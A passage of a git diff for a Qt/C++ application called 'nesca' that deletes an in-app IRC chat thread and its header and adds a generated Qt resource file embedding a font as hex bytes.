!= NULL) - { - if(strstr(comStr, ":") != NULL) - { - if(strstr(comStr, "!") != NULL) - { - if(strstr(comStr, "@") != NULL) - { - char *temp1 = strstr(comStr, ":"); - char *temp2 = strstr(temp1, "!"); - char leaverNick[32] = {0}; - - int sz = temp2 - temp1; - - strncpy(leaverNick, temp1, (sz < 16 ? sz : 16)); - - - if(strstr(comStr, "QUIT :Ping timeout") != NULL) - { - ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel (Ping timeout)."); - _blinkNLine(QString(leaverNick) + " left channel (Ping timeout)", "[Server]"); - } - else - { - ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel."); - _blinkNLine(QString(leaverNick) + " left channel.", "[Server]"); - }; - - }; - }; - }; - } - else if(strstr(comStr, "NICK :") != NULL) - { - char *temp; - char *temp2; - char senderNick[32] = {0}; - if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); - if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!"); - int nickLen = temp2 - temp - 1; - if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen); - - if(strstr(comStr, "NICK :") != NULL) temp = strstr(comStr, "NICK :"); - memset(temp + strlen(temp), '\0', 1); - - QString newNick = QString((char*)(temp + strlen("NICK :"))); - - ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] is now known as [" + newNick + "]."); - - _blinkNLine("[" + QString(senderNick) + "] is now known as [" + newNick + "].", "[Server]"); - - } - else if(iWantToConnect && (strstr(comStr, "JOIN :#") > 0 || strstr(comStr, "Join :#") > 0 - || strstr(comStr, "join :#") > 0)) - { - char *temp; - char *temp2; - char senderNick[32] = {0}; - if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); - if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!"); - int nickLen = temp2 - temp; - if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); - - - if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) - { - ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] joined the channel."); - _blinkNLine("[" + QString(senderNick) + "] joined the channel.", "[Server]"); - } - else - { - ircTh->doEmitChangeYellowIRCData("You have joined the channel."); - _blinkNLine("You have joined the channel.", "[Server]"); - if(!OnlineMsgSentFlag) //Sending data only once per connect - { - OnlineMsgSentFlag = true; - - char temp[64] = {0}; - strcpy(temp, "PRIV"); - strcat(temp, "MSG #"); - strcat(temp, IRC_CHAN); - strcat(temp, " :My version: v3_"); - strcat(temp, gVER); - strcat(temp, "\n"); - sendS(lSock, temp, strlen(temp), 0); - - connectedToIRC = true; - }; - }; - - } - else if(iWantToConnect && (strstr(comStr, "PART #") > 0 || strstr(comStr, "Part #") > 0 - || strstr(comStr, "part #") > 0)) - { - char *temp; - char *temp2; - char senderNick[32] = {0}; - if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); - if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!"); - int nickLen = temp2 - temp; - if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); - - - if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] left the channel."); - else ircTh->doEmitChangeYellowIRCData("You have left the channel."); - - }; - } - else if(strstri(comStr, privTemp) != NULL) - { - char channelName[64] = {0}; - strcpy(channelName, "PRIV"); - strcat(channelName, "MSG #"); - strcat(channelName, IRC_CHAN); - strcat(channelName, " :"); - - char *tprv = comStr; - char *temp = NULL; - char *temp2 = NULL; - - __pinger(recvBuff); - - char senderNick[32] = {0}; - if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":"); - if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!"); - if(temp != NULL && temp2 != NULL) - { - if(strlen(temp) > 0 && strlen(temp2) > 0) - { - int nickLen = temp2 - temp; - if(nickLen <= 32) - { - char *tempD = strstri(tprv, channelName); - int nsz = strlen(channelName); - - if(tempD == NULL) break; - char *temp4 = NULL; - int dsz = 0; - if(strstr(tempD, "\n") != NULL) - { - temp4 = strstr(tempD, "\n"); - dsz = temp4 - tempD - nsz - 1; - }; - - char tempData[512] = {0}; - if(temp4 != NULL) - { - strncpy(tempData, tempD + nsz, (dsz == 0 ? strlen(temp4) : dsz)); - } - else strcpy(tempData, tempD + nsz); - - if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); - - if(strlen(tempData) > 0) - { - QString strf; - strf = QString::fromLocal8Bit(tempData); - _blinkNLine(strf, QString::fromLocal8Bit(senderNick)); - ircTh->doEmitionPlayDckingSound(); - bool HLFlag = doHL(strf.toLocal8Bit().data()); - int cCode = 0; - ircTh->doEmitChangeIRCData(false, HLFlag, cCode, strf, " [" + QString::fromLocal8Bit(senderNick) + "]:"); - - }; - }; - }; - }; - - ZeroMemory(senderNick, sizeof(senderNick)); - - } - else if(strstri( comStr, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data() ) != NULL) - { - char *tprv = comStr; - char *temp = NULL; - char *temp2 = NULL; - char senderNick[32] = {0}; - if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":"); - if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!"); - if(temp != NULL && temp2 != NULL) - { - if(strlen(temp) > 0 && strlen(temp2) > 0) - { - int nickLen = temp2 - temp; - if(nickLen <= 32) - { - char *tempD = strstri(tprv, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data()); - int nsz = QString(ircNick).size() + 10; - - if(tempD == NULL) break; - char *temp4 = NULL; - int dsz = 0; - if(strstr(tempD, "\n") != NULL) - { - temp4 = strstr(tempD, "\n"); - dsz = temp4 - tempD - nsz - 1; - }; - - char tempData[512] = {0}; - if(temp4 != NULL) - { - strncpy(tempData, tempD + nsz, (dsz == 0 ? strlen(temp4) : dsz)); - } - else strcpy(tempData, tempD + nsz); - - if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); - - if(strlen(tempData) > 0) - { - QString strf; - strf = QString::fromLocal8Bit(tempData); - _blinkNLine(strf, QString::fromLocal8Bit(senderNick)); - ircTh->doEmitionPlayDckingSound(); - bool HLFlag = doHL(strf.toLocal8Bit().data()); - int cCode = 0; - - ircTh->doEmitChangeIRCData(true, HLFlag, cCode, strf, "[" + QString::fromLocal8Bit(senderNick) + "]:"); - - }; - }; - }; - }; - ZeroMemory(senderNick, sizeof(senderNick)); - }; - ZeroMemory(comStr, sizeof(comStr)); - }; - ZeroMemory(recvBuffG, MAX_IRC_RECV_LEN); - }; - }; - - if(iWantToConnect == true) - { - - ircTh->doEmitChangeRedIRCData("[-//-] IRC server went offline."); - - _blinkNLine("IRC server offlined!", "[Server]"); - Sleep(5000); - connectedToIRC == false; - }; - } - else - { - - if(proxyEnabledFlag) ircTh->doEmitChangeRedIRCData("[-//-] Cannot connect to proxy. (" + QString::number(WSAGetLastError()) + ")" ); - else ircTh->doEmitChangeRedIRCData("[-//-] Connection failed. (" + QString::number(WSAGetLastError()) + ")" ); - - - }; - CSSOCKET(lSock); - }; - //}; - CSSOCKET(lSock); -}; - -void oIRC_Th::run() -{ - IRCLoop(); - ircTh->doEmitIRCOfflined(); -}; diff --git a/oIRC_Th.h b/oIRC_Th.h deleted file mode 100644 index 9304430..0000000 --- a/oIRC_Th.h +++ /dev/null @@ -1,47 +0,0 @@ -#ifndef OIRC_TH_H -#define OIRC_TH_H - -#pragma once -#include "nesca_3.h" -#include "irc_nmblinker.h" -#include "IRCPinger_Th.h" - -class oIRC_Th : public QThread -{ - Q_OBJECT - -public: - void doEmitUnhidePopup(QString, QString); - void doEmitChangeIRCData(bool, bool, int, QString, QString); - void doEmitChangeRedIRCData(QString); - void doEmitChangeGreenIRCData(QString); - void doEmitChangeYellowIRCData(QString); - void doEmitChangeRawIRCDataInc(QString); - void doEmitChangeRawIRCDataOut(QString); - void doEmitSetNick(QString); - void doEmitAddNick(QString); - void doEmitClearNickList(); - void doEmitIRCOfflined(); - void doEmitionPlayDckingSound(); - void doEmitGetTopic(QString str); - -public: signals: void sUnhidePopup(QString, QString); -public: signals: void changeIRCData(bool, bool, int, QString, QString); -public: signals: void changeRedIRCData(QString); -public: signals: void changeGreenIRCData(QString); -public: signals: void changeYellowIRCData(QString); -public: signals: void changeRawIRCDataInc(QString); -public: signals: void changeRawIRCDataOut(QString); -public: signals: void setNick(QString); -public: signals: void AddNick(QString); -public: signals: void ClearNickList(); -public: signals: void IRCOfflined(); -public: signals: void notifyPlay(); -public: signals: void getTopic(QString); - -protected: - void run(); -}; - -extern oIRC_Th *ircTh; -#endif // OIRC_TH_H diff --git a/qrc_nesca_3.cpp b/qrc_nesca_3.cpp new file mode 100644 index 0000000..fc3a379 --- /dev/null +++ b/qrc_nesca_3.cpp @@ -0,0 +1,2473 @@ +/**************************************************************************** +** Resource object code +** +** Created by: The Resource Compiler for Qt version 5.3.2 +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include + +static const unsigned char qt_resource_data[] = { + // /home/kvs/Documents/CProjects/nesca/Eurostile.ttf + 0x0,0x0,0x94,0xe4, + 0x0, + 0x1,0x0,0x0,0x0,0xc,0x0,0x80,0x0,0x3,0x0,0x40,0x4f,0x53,0x2f,0x32,0x73, + 0xa3,0x5c,0x6c,0x0,0x0,0x0,0xcc,0x0,0x0,0x0,0x4e,0x63,0x6d,0x61,0x70,0xdf, + 0xaf,0x10,0x9e,0x0,0x0,0x1,0x1c,0x0,0x0,0x3,0xf4,0x63,0x76,0x74,0x20,0x3, + 0xbd,0x3,0xbb,0x0,0x0,0x5,0x10,0x0,0x0,0x0,0x8,0x67,0x6c,0x79,0x66,0x41, + 0x12,0xca,0xa2,0x0,0x0,0x5,0x18,0x0,0x0,0x7f,0xd2,0x68,0x65,0x61,0x64,0xb5, + 0x1e,0x7f,0x29,0x0,0x0,0x84,0xec,0x0,0x0,0x0,0x36,0x68,0x68,0x65,0x61,0xd, + 0xea,0x7,0x1b,0x0,0x0,0x85,0x24,0x0,0x0,0x0,0x24,0x68,0x6d,0x74,0x78,0x40, + 0xc,0x72,0x7e,0x0,0x0,0x85,0x48,0x0,0x0,0x4,0x38,0x6c,0x6f,0x63,0x61,0xc5, + 0xcc,0xa4,0x28,0x0,0x0,0x89,0x80,0x0,0x0,0x2,0x1e,0x6d,0x61,0x78,0x70,0x1, + 0x44,0x1,0x7c,0x0,0x0,0x8b,0xa0,0x0,0x0,0x0,0x20,0x6e,0x61,0x6d,0x65,0xf, + 0x1c,0x1b,0x8a,0x0,0x0,0x8b,0xc0,0x0,0x0,0x6,0xaf,0x70,0x6f,0x73,0x74,0xba, + 0x4b,0xc9,0x33,0x0,0x0,0x92,0x70,0x0,0x0,0x2,0x5a,0x70,0x72,0x65,0x70,0x56, + 0x5f,0x67,0xf9,0x0,0x0,0x94,0xcc,0x0,0x0,0x0,0x18,0x0,0x0,0x3,0x4c,0x1, + 0x90,0x0,0x5,0x0,0xe,0x3,0x54,0x3,0x4a,0x0,0x0,0x0,0x0,0x3,0x54,0x3, + 0x4a,0x0,0x0,0x3,0x4d,0x0,0x82,0x2,0x12,0x0,0x0,0x2,0xb,0x5,0x4,0x2, + 0x2,0x2,0x5,0x2,0x4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x55,0x52,0x57,0x0,0x0,0x40,0x0,0x20,0xf0,0x2,0x5, + 0x55,0xfe,0x66,0x1,0xde,0x6,0xee,0x1,0xac,0x0,0x0,0x0,0x0,0x0,0x2,0x0, + 0x1,0x0,0x0,0x0,0x0,0x0,0x14,0x0,0x3,0x0,0x1,0x0,0x0,0x1,0x1a,0x0, + 0x0,0x1,0x6,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x3,0x0, + 0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x1,0x0,0x0,0x3,0x5e,0x74,0x76,0x50,0x86,0x6e,0x73,0x6a,0x6b,0x72, + 0x78,0x58,0x67,0x54,0x66,0x4e,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x55, + 0x59,0x9f,0x7a,0xa0,0x60,0x75,0x5,0x6,0x7,0x8,0x9,0xa,0xb,0xc,0xd,0xe, + 0xf,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e, + 0x6c,0x88,0x6d,0xa8,0xaa,0x8d,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2a,0x2b,0x2c, + 0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3a,0x3b,0x3c, + 0x80,0xa9,0x81,0xac,0x0,0xaf,0xb4,0x22,0xb6,0xbd,0xbe,0xc3,0xc9,0xca,0xcb,0xc8, + 0xcc,0xcd,0x44,0xcf,0xd0,0xd1,0xce,0xd3,0xd4,0xd5,0xd2,0xd6,0xd8,0xd9,0xda,0xd7, + 0xdb,0xdd,0xde,0xdf,0xdc,0x70,0x77,0x51,0x4f,0x6f,0x98,0x7c,0x40,0x97,0x96,0x7b, + 0x8c,0x89,0x9b,0x1f,0x21,0xa4,0x84,0xa1,0xa2,0x53,0xad,0xa7,0xa6,0xa5,0xab,0x9d, + 0x82,0x83,0xae,0x3d,0x3f,0x61,0x5f,0xa3,0x9c,0x52,0x9e,0x9a,0x63,0x62,0x57,0x4, + 0xb1,0xb3,0xc2,0x20,0x3e,0x68,0x69,0x5c,0x5b,0x5a,0x7f,0x79,0x99,0xe0,0xc7,0x85, + 0x7d,0x65,0x64,0x42,0x43,0x71,0x56,0x7e,0x5d,0x87,0xb2,0xb8,0xb0,0xb5,0xb7,0xba, + 0xbc,0xb9,0xbb,0xbf,0xc1,0x0,0xc0,0xc4,0xc6,0xc5,0x41,0x8e,0x91,0x95,0x90,0x8a, + 0x8b,0x93,0x92,0x94,0x8f,0x0,0x4,0x2,0xd8,0x0,0x0,0x0,0x48,0x0,0x40,0x0, + 0x5,0x0,0x8,0x0,0x7e,0x0,0xae,0x0,0xb6,0x0,0xff,0x1,0x31,0x1,0x53,0x1, + 0x61,0x1,0x78,0x1,0x92,0x2,0xc7,0x2,0xc9,0x2,0xdd,0x3,0xc0,0x20,0x14,0x20, + 0x1a,0x20,0x1e,0x20,0x22,0x20,0x26,0x20,0x30,0x20,0x3a,0x21,0x22,0x21,0x26,0x22, + 0x2,0x22,0x6,0x22,0xf,0x22,0x11,0x22,0x15,0x22,0x1a,0x22,0x1e,0x22,0x2b,0x22, + 0x48,0x22,0x60,0x22,0x65,0x25,0xca,0xf0,0x2,0xff,0xff,0x0,0x0,0x0,0x20,0x0, + 0xa0,0x0,0xb0,0x0,0xb8,0x1,0x31,0x1,0x52,0x1,0x60,0x1,0x78,0x1,0x92,0x2, + 0xc6,0x2,0xc9,0x2,0xd8,0x3,0xc0,0x20,0x13,0x20,0x18,0x20,0x1c,0x20,0x20,0x20, + 0x26,0x20,0x30,0x20,0x39,0x21,0x22,0x21,0x26,0x22,0x2,0x22,0x6,0x22,0xf,0x22, + 0x11,0x22,0x15,0x22,0x19,0x22,0x1e,0x22,0x2b,0x22,0x48,0x22,0x60,0x22,0x64,0x25, + 0xca,0xf0,0x1,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x10,0x0, + 0x0,0x0,0x0,0xff,0x4f,0xfe,0xc0,0xfd,0xc8,0xfd,0xcc,0x0,0x0,0xfc,0xeb,0xe0, + 0x55,0x0,0x0,0x0,0x0,0x0,0x0,0xe0,0x31,0xe0,0x57,0x0,0x0,0xdf,0x59,0xdf, + 0x88,0xde,0xa5,0xde,0x94,0xde,0x96,0xde,0x95,0xde,0x70,0x0,0x0,0xde,0x86,0xde, + 0x72,0xde,0x56,0xde,0x3b,0xde,0x3d,0xda,0xcf,0x10,0x41,0x0,0x1,0x0,0x48,0x1, + 0x4,0x1,0x20,0x1,0x2c,0x0,0x0,0x1,0xb8,0x1,0xba,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x1,0xb4,0x0,0x0,0x0,0x0,0x1,0xba,0x1,0xbe,0x1,0xc2,0x0, + 0x0,0x0,0x0,0x1,0xc2,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x1,0xb6,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x0,0x3,0x0,0x5e,0x0,0x74,0x0,0x76,0x0,0x50,0x0, + 0x86,0x0,0x6e,0x0,0x73,0x0,0x6a,0x0,0x6b,0x0,0x72,0x0,0x78,0x0,0x58,0x0, + 0x67,0x0,0x54,0x0,0x66,0x0,0x4e,0x0,0x45,0x0,0x46,0x0,0x47,0x0,0x48,0x0, + 0x49,0x0,0x4a,0x0,0x4b,0x0,0x4c,0x0,0x4d,0x0,0x55,0x0,0x59,0x0,0x9f,0x0, + 0x7a,0x0,0xa0,0x0,0x60,0x0,0x75,0x0,0x5,0x0,0x6,0x0,0x7,0x0,0x8,0x0, + 0x9,0x0,0xa,0x0,0xb,0x0,0xc,0x0,0xd,0x0,0xe,0x0,0xf,0x0,0x10,0x0, + 0x11,0x0,0x12,0x0,0x13,0x0,0x14,0x0,0x15,0x0,0x16,0x0,0x17,0x0,0x18,0x0, + 0x19,0x0,0x1a,0x0,0x1b,0x0,0x1c,0x0,0x1d,0x0,0x1e,0x0,0x6c,0x0,0x88,0x0, + 0x6d,0x0,0xa8,0x0,0xaa,0x0,0x8d,0x0,0x23,0x0,0x24,0x0,0x25,0x0,0x26,0x0, + 0x27,0x0,0x28,0x0,0x29,0x0,0x2a,0x0,0x2b,0x0,0x2c,0x0,0x2d,0x0,0x2e,0x0, + 0x2f,0x0,0x30,0x0,0x31,0x0,0x32,0x0,0x33,0x0,0x34,0x0,0x35,0x0,0x36,0x0, + 0x37,0x0,0x38,0x0,0x39,0x0,0x3a,0x0,0x3b,0x0,0x3c,0x0,0x80,0x0,0xa9,0x0, + 0x81,0x0,0xac,0x0,0x4,0x0,0x5f,0x0,0x51,0x0,0x4f,0x0,0x7d,0x0,0x53,0x0, + 0xec,0x0,0x6f,0x0,0x89,0x0,0x96,0x0,0x82,0x0,0x63,0x0,0xa3,0x0,0x67,0x0, + 0x97,0x0,0x77,0x0,0x84,0x0,0xe6,0x0,0xe7,0x0,0x8c,0x0,0xad,0x0,0x7c,0x0, + 0x93,0x0,0xe5,0x0,0x83,0x0,0x62,0x0,0xea,0x0,0xe9,0x0,0xeb,0x0,0x61,0x0, + 0xb1,0x0,0xb0,0x0,0xb2,0x0,0xb3,0x0,0xaf,0x0,0xb4,0x0,0x1f,0x0,0x22,0x0, + 0xb7,0x0,0xb6,0x0,0xb8,0x0,0xb5,0x0,0xbb,0x0,0xba,0x0,0xbc,0x0,0xb9,0x0, + 0xe1,0x0,0xbd,0x0,0xc0,0x0,0xbf,0x0,0xc1,0x0,0xc2,0x0,0xbe,0x0,0xe8,0x0, + 0x21,0x0,0xc5,0x0,0xc4,0x0,0xc6,0x0,0xc3,0x1,0x8,0x0,0xe2,0x0,0x40,0x0, + 0xca,0x0,0xc9,0x0,0xcb,0x0,0xcc,0x0,0xc8,0x0,0xcd,0x0,0x3d,0x0,0x44,0x0, + 0xd0,0x0,0xcf,0x0,0xd1,0x0,0xce,0x0,0xd4,0x0,0xd3,0x0,0xd5,0x0,0xd2,0x0, + 0xe3,0x0,0xd6,0x0,0xd9,0x0,0xd8,0x0,0xda,0x0,0xdb,0x0,0xd7,0x0,0x79,0x0, + 0x3f,0x0,0xde,0x0,0xdd,0x0,0xdf,0x0,0xdc,0x1,0xd,0x0,0xe4,0x0,0xe0,0x0, + 0x20,0x0,0x3e,0x1,0x2,0x1,0xc,0x0,0x90,0x0,0x8a,0x0,0x8b,0x0,0x94,0x0, + 0x91,0x0,0x92,0x0,0x5a,0x0,0x7f,0x0,0x7e,0x0,0x5c,0x0,0x5b,0x0,0x5d,0x0, + 0x70,0x0,0x71,0x0,0x98,0x0,0x65,0x0,0x64,0x0,0x56,0x0,0x9c,0x1,0x5d,0x0, + 0x0,0x5,0x55,0x3,0xbc,0xfe,0x66,0x0,0x2,0x0,0x44,0x0,0x0,0x2,0x66,0x5, + 0x55,0x0,0x3,0x0,0x7,0x0,0x23,0x40,0x10,0x5,0x6,0x2,0x1,0x4,0x7,0x3, + 0x0,0x5,0x4,0x2,0x3,0x6,0x7,0x1,0x0,0x2f,0x3c,0xdc,0x3c,0x2f,0x3c,0xdc, + 0x3c,0x0,0x2f,0x3c,0xdc,0x3c,0x2f,0x3c,0xdc,0x3c,0x33,0x11,0x21,0x11,0x27,0x11, + 0x21,0x11,0x44,0x2,0x22,0x44,0xfe,0x66,0x5,0x55,0xfa,0xab,0x44,0x4,0xcd,0xfb, + 0x33,0x0,0x2,0x0,0xa,0x0,0x0,0x4,0xd4,0x5,0x55,0x0,0x7,0x0,0xa,0x0, + 0x46,0x40,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb4,0x1,0x5,0x4,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0x13,0xb4,0x7,0x6,0x3,0x2,0x3,0x17,0x2f,0x3c,0xb1,0x0, + 0x1,0x2f,0x3c,0xb2,0x8,0xa,0x1,0x10,0xdd,0x3c,0xb4,0x1,0x9,0x4,0x2,0x0, + 0x13,0x11,0x12,0x39,0x13,0x31,0x30,0x1,0x21,0x3,0x23,0x1,0x33,0x1,0x23,0x3, + 0x9,0x1,0x3,0xc9,0xfd,0x4d,0x69,0xa3,0x1,0xf4,0xd8,0x1,0xfe,0xa1,0x97,0xfe, + 0xd1,0xfe,0xd5,0x1,0x21,0xfe,0xdf,0x5,0x55,0xfa,0xab,0x1,0x95,0x3,0x42,0xfc, + 0xbe,0x0,0x3,0x0,0x82,0x0,0x0,0x4,0x9e,0x5,0x55,0x0,0xd,0x0,0x16,0x0, + 0x20,0x0,0x66,0xb1,0x0,0x1,0x2f,0x3c,0xb5,0x17,0x20,0xe,0x16,0x3,0x1,0x10, + 0x17,0xdd,0x3c,0x40,0xb,0x1f,0x18,0x15,0xf,0xd,0xa,0x8,0x7,0x5,0x2,0x16, + 0x10,0xc0,0xc4,0xc0,0xc0,0xc4,0xc0,0xc0,0xc0,0xc0,0xc0,0xb3,0x1c,0xa,0x12,0x5, + 0x10,0xcd,0x10,0xcd,0x0,0x40,0xb,0x1,0x16,0x15,0x1,0x2,0x1,0x0,0x17,0x18, + 0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x0,0xd, + 0x2f,0x3c,0xb1,0xe,0xf,0x2f,0x3c,0xb2,0x20,0x1f,0xf,0x10,0xdd,0x3c,0xb3,0x8, + 0x7,0xf,0x1f,0x11,0x12,0x39,0x39,0x31,0x30,0x33,0x11,0x21,0x32,0x16,0x15,0x14, + 0x7,0x15,0x16,0x11,0x14,0x6,0x23,0x1,0x21,0x32,0x36,0x35,0x34,0x26,0x23,0x21, + 0x11,0x21,0x37,0x32,0x36,0x35,0x34,0x26,0x23,0x21,0x82,0x2,0x5c,0xfb,0x9b,0xaf, + 0xd9,0xab,0xd4,0xfd,0xfd,0x1,0x95,0xc1,0x6f,0x61,0xa5,0xfe,0x41,0x1,0x47,0x8b, + 0xb0,0x6d,0x6e,0xf4,0xfe,0x73,0x5,0x55,0x8a,0xdf,0xe3,0x3c,0x3,0x34,0xfe,0xf3, + 0xd9,0xb0,0x2,0xfd,0x5c,0x9f,0x8a,0x51,0xfb,0xaf,0x1,0x5b,0x93,0xb7,0x53,0x0, + 0x1,0x0,0x4c,0xff,0xf2,0x4,0x9a,0x5,0x63,0x0,0x1f,0x0,0x4f,0xb7,0x1f,0x12, + 0x11,0x10,0x8,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e,0x2f,0xb1,0x19, + 0x8,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c,0xb5,0x1, + 0x1f,0x2,0x1,0x0,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0xb6,0x1,0x1,0x10,0x1, + 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb3,0xd,0x1,0x5,0x0,0x3f, + 0x3f,0xb3,0x1c,0x5,0x16,0xd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x15,0x10, + 0x6,0x21,0x20,0x26,0x11,0x10,0x36,0x37,0x36,0x21,0x20,0x16,0x15,0x17,0x23,0x27, + 0x34,0x26,0x23,0x20,0x6,0x15,0x10,0x16,0x21,0x20,0x36,0x35,0x4,0x1,0x99,0xbe, + 0xfe,0x81,0xfe,0xa9,0xba,0x2a,0x63,0x74,0x1,0x81,0x1,0x5,0xb5,0x1,0x99,0x1, + 0x6b,0xbc,0xfe,0xb6,0x92,0x62,0x1,0x1e,0x1,0x10,0x87,0x1,0xc8,0x34,0xfe,0xe9, + 0x8b,0xf5,0x1,0xc6,0x1,0x63,0xb7,0x48,0x54,0xa2,0xe8,0x25,0x2a,0xa5,0x5e,0x6e, + 0xfa,0xfd,0xc1,0xc6,0x56,0xad,0x0,0x0,0x2,0x0,0x82,0x0,0x0,0x4,0xef,0x5, + 0x55,0x0,0x8,0x0,0x11,0x0,0x3e,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0x9,0x11,0x1, + 0x10,0xdd,0x3c,0xb5,0x10,0xa,0x8,0x5,0x2,0x11,0x10,0xc0,0xc4,0xc0,0xc0,0xc0, + 0xb1,0xd,0x5,0x10,0xcd,0x0,0x40,0xb,0x1,0x11,0x10,0x1,0x2,0x1,0x0,0x9, + 0xa,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x0, + 0x8,0x2f,0x3c,0x31,0x30,0x33,0x11,0x21,0x20,0x12,0x11,0x10,0x2,0x21,0x25,0x21, + 0x32,0x36,0x11,0x10,0x26,0x23,0x21,0x82,0x2,0x78,0x1,0x25,0xd0,0xb9,0xfe,0xeb, + 0xfd,0xfb,0x1,0xbd,0xf5,0x8e,0x7b,0xe9,0xfe,0x24,0x5,0x55,0xfe,0xfe,0xfe,0x93, + 0xfe,0x44,0xfe,0xd6,0x82,0xc4,0x1,0x53,0x1,0x74,0xc6,0x0,0x1,0x0,0x4b,0x0, + 0x0,0x3,0xb8,0x5,0x55,0x0,0xb,0x0,0x4a,0xb1,0x9,0x8,0x2f,0x3c,0xb1,0x3, + 0x2,0x2f,0x3c,0xb4,0xb,0xa,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb5,0x0,0x5,0x4, + 0x1,0x3,0x8,0x10,0x17,0xdd,0x3c,0x0,0x40,0xb,0x1,0x0,0xb,0x1,0xa,0x9, + 0x0,0x6,0x5,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13, + 0xb1,0x8,0x7,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x4,0x3,0x1,0x10,0xdd, + 0x3c,0x31,0x30,0x13,0x11,0x21,0x15,0x21,0x11,0x21,0x15,0x21,0x11,0x21,0x15,0xe5, + 0x2,0xb5,0xfd,0x4b,0x2,0xd3,0xfc,0x93,0x3,0x6d,0x4,0xd3,0xfe,0x2f,0x82,0xfe, + 0x2,0x82,0x5,0x55,0x82,0x0,0x1,0x0,0x82,0x0,0x0,0x3,0xc7,0x5,0x55,0x0, + 0x9,0x0,0x3f,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x9,0x8, + 0x2f,0x3c,0xb5,0x0,0x5,0x4,0x1,0x3,0x6,0x10,0x17,0xdd,0x3c,0x0,0xb7,0x1, + 0x0,0x9,0x1,0x8,0x7,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1, + 0x6,0x5,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x4,0x3,0x1,0x10,0xdd,0x3c, + 0x31,0x30,0x1,0x11,0x21,0x15,0x21,0x11,0x23,0x11,0x21,0x15,0x1,0x1c,0x2,0x99, + 0xfd,0x67,0x9a,0x3,0x45,0x4,0xd3,0xfe,0x23,0x82,0xfd,0x8c,0x5,0x55,0x82,0x0, + 0x1,0x0,0x4b,0xff,0xf2,0x4,0xb6,0x5,0x63,0x0,0x25,0x0,0x5e,0xb1,0x0,0x25, + 0x2f,0x3c,0xb2,0x1a,0xa,0x25,0x10,0xc4,0xc0,0xb6,0x24,0x13,0x12,0x11,0x3,0x1, + 0x25,0x10,0xc0,0xc4,0xc0,0xc0,0xc0,0xc0,0xb3,0x22,0x3,0x1b,0xa,0x10,0xcd,0x10, + 0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x13,0x12,0x2f,0x3c,0xb2,0x25,0x24,0x1, + 0x10,0xdd,0x3c,0xb4,0x1,0x1a,0x2,0x0,0x1,0x11,0x14,0x12,0x39,0x14,0xb4,0x1, + 